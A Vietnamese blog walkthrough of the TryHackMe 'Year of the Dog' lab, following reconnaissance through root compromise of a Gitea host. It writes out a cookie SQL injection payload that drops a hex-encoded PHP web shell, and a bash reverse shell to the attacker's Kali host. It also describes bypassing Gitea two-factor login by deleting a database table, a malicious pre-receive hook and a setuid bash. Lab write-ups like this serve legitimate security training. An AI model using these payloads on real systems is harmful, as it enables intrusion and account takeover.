Advertisement

Responsive Advertisement

Year of the Dog – TryHackMe

 

Một bài lab học cách khai thác tấn công trên gitea

Bước 1: Dò quét thu thập thông tin

Thu thập thông tin cổng dịch vụ của victim

nmap -sV -sC 10.10.178.199

Screenshot_1.png

Dịch vụ đang mở là 80 và 22, không có gì đặc biệt cả.

Bước 2: Khai thác dịch vụ web

Mình truy cập website xem có gì không

Screenshot_2.png

Không có gì đặc sắc cả ngoài vài dòng văn và lá quốc kỳ của Vương Quốc England

Dò quét đường dẫn khác bằng gobuster, nhưng không thu được thông tin gì cả.

Screenshot_3.png

Mình tiến hành kiếm tra bằng công cụ trình duyệt, bấm F12, mình thấy trường cookie có giá trị id mình thêm dấu  ở trường value

Screenshot_4.png

Mình thu được kết quả báo lỗi SQL

Screenshot_5.png

Bước 3: Tấn công SQL

SQL có 3 loại SQLi

  1. Error SQL injection
  2. Blind SQL Injection
  3. Union SQL Injectio

Mình thử sử dụng loại số 3 để khai thác thử thấy thực hiện được

‘union select 1, @@version#

Screenshot_6.png

Screenshot_7.png

Thu được phiên bản hệ điều hành là ubuntu 18.04.1

Ok tuyệt, vậy mình sẽ thử mã hóa một đoạn mã shell inject thêm nó vào trong hệ thống của nó bằng

Code mình sử dụng

<?php system($_GET[“cmd”]) ?>

Mình sử dụng hàm unhex trong sql kết hợp với union

‘ INTO OUTFILE ‘/var/www/html/shell.php’ LINES TERMINATED by 0x3c3C3F7068702073797374656D28245F4745545B22636D64225D29203F3E#

Screenshot_8.png

Chèn vào trường value và reload lại website thu được một cảnh báo lỗi nhưng không vấn đề gì cả mình kiểm tra đường dẫn có tồn tại tệp tin shell.php của mình là được

Screenshot_9.png

Screenshot_10.png

Mình tiến thành thử kiểm tra user hiện tại

Screenshot_11.png

Sang bước tiếp theo mình kiếm mã reverse shell đẩy lên victim đây để thực hiện kết nối ngược về máy mình

Bước 4: Điều khiển máy victim

Tạo tệp tin rev.sh nội dung sau:

echo "bash -i >& /dev/tcp/ip_kali/port 0>&1" >> rev.sh

Chạy webserver ảo trên kali

Screenshot_13.png

Sau đó tiến hành tải tệp tin lên máy victim

Screenshot_12.png

Cấp quyền và chạy tệp tin

Screenshot_15.png

Screenshot_16.png

Đồng thời trên máy kali bật chế độ lắng nghe kết nối về

Screenshot_17.png

Thành công kết nối được mình đến thư mục home xem có user nào

Screenshot_18.png

Thấy có mỗi dylan. Mình truy cập thư mục của dylan. Thấy có tệp cấu hình .gitconfig, work_analysis, user.txt nhưng mình không có quyền đối với user.txt

Mình đọc  thử tệp work_analysis 

Screenshot_19.pngNhận thấy đây là một tệp log SSH mình thử tìm kiếm log đăng nhập với dylan

Screenshot_21.png

Mật khẩu cso thể là của chuỗi dylanLab… hoặc chỉ Lab… 

Đọc thêm tệp .gitconfig thu được thông tin user 

Screenshot_20.png

Mình thử đăng nhập SSH và phát hiện Lab…   là mật khẩu của dylan

Screenshot_22.png

Mình vào đây đọc cờ đầu thôi nào

Sau khi đọc cờ đầu mình tìm cách leo thang, mình thử sudo -l hay find tìm kiếm nhưng không hiệu quả, mình thử kiểm tra xem nó còn chạy dịch vụ nào khác trên không bằng lệnh

netstat  -tulnp

Screenshot_23.png

Thấy cổng dịch vụ 3000 được mở dùng nội bộ không public, mình sử dụng ssh tunnel để  kết nối tới cổng đó xem sao

Screenshot_24.png

Truy cập web localhost theo cổng  3000

Screenshot_25.png

Đây là website xây dựng từ Git, sử dụng mã nguồn gitea mình truy cập tìm kiếm gitea và phát hiện nó ở đây

Screenshot_26.png

Vào thư mục gitea

Screenshot_27.png

Vào sign in web mình đăng nhập

Screenshot_30.png

Nó yêu cầu một mã xác thực, xác mình 2 bước

Screenshot_29.png

Mình sẽ bypass qua nó, để vượt qua nó thì trong hệ thống database có bảng là two_factor, mình xóa nó

Sử dụng lệnh python3

Screenshot_31.png

Sau khi xóa xong bấm ctrl+z thoát ra ngoài và đăng nhập web lại mình đã thành công bypass xác thực 2 bước

Screenshot_32.png

Khi hệ thống dùng git thì sẽ có user git và user này sẽ có thể leo thang trực tiếp lên root được.

Bước 5: Leo thang 

Mình truy cập repository mặc định

Screenshot_33.png

Đến phần setting sửa  Git Hooks => pre-receive

Screenshot_35.png

Thêm mã reverse shell

Screenshot_34.png

Sau đó quay về giao diện tấn công mình tiến hành tái tạo lại tệp git đó

Screenshot_36.png

Đồng thời trên máy kali bật cổng lắng nghe kết nối

Screenshot_37.png

Thành công kết nối mình kiểm tra thông tin user

Screenshot_38.png

Nhận thấy đây là git và có thể thực thi mọi lệnh, mình tiến hành leo thang

Screenshot_39.png

Nhưng như vậy hơi tù, mình liên chuyển tệp tin bash đê thực thi leo thăng từ dylan

Screenshot_40.png

Screenshot_41.png

chạy lệnh chmod 4755 bash bên giao diện user git

Screenshot_42.png

Screenshot_43.png

Thành công rồi việc còn lại đọc cờ cuối để dành bạn nhé !!! :mrgreen:

Post a Comment

0 Comments